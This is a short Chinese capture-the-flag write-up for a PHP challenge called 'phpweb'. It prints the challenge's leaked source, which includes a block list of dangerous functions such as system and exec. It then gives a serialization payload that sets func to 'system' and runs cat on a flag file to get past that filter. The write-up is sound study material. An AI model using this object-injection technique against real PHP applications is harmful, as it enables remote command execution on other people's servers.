[朱雀组]phpweb

每隔5秒发送一个包,提交包括call_user_func(func, args)的两个参数

尝试提交 system(ls -a) 发现存在WAF。读取源码

func=file_get_contents&p=index.php
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a= gettype($result);
    if ($a == "string") {
        return $result;
    } else {return "";}
}
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
    $func = strtolower($func);
    if (!in_array($func,$disable_fun)) {
        echo gettime($func, $p);
    else {
        die("Hacker...");
    }
}
?>

尝试读取flag文件,但是没有找到flag文件。

最后在tmp目录下,利用反序列化读取文件

<?php
class Test{
    var $p = "cat /tmp/flagoefiu4r93";
    var $func = "system";
}

$test = new Test();

echo(serialize($test));

Last updated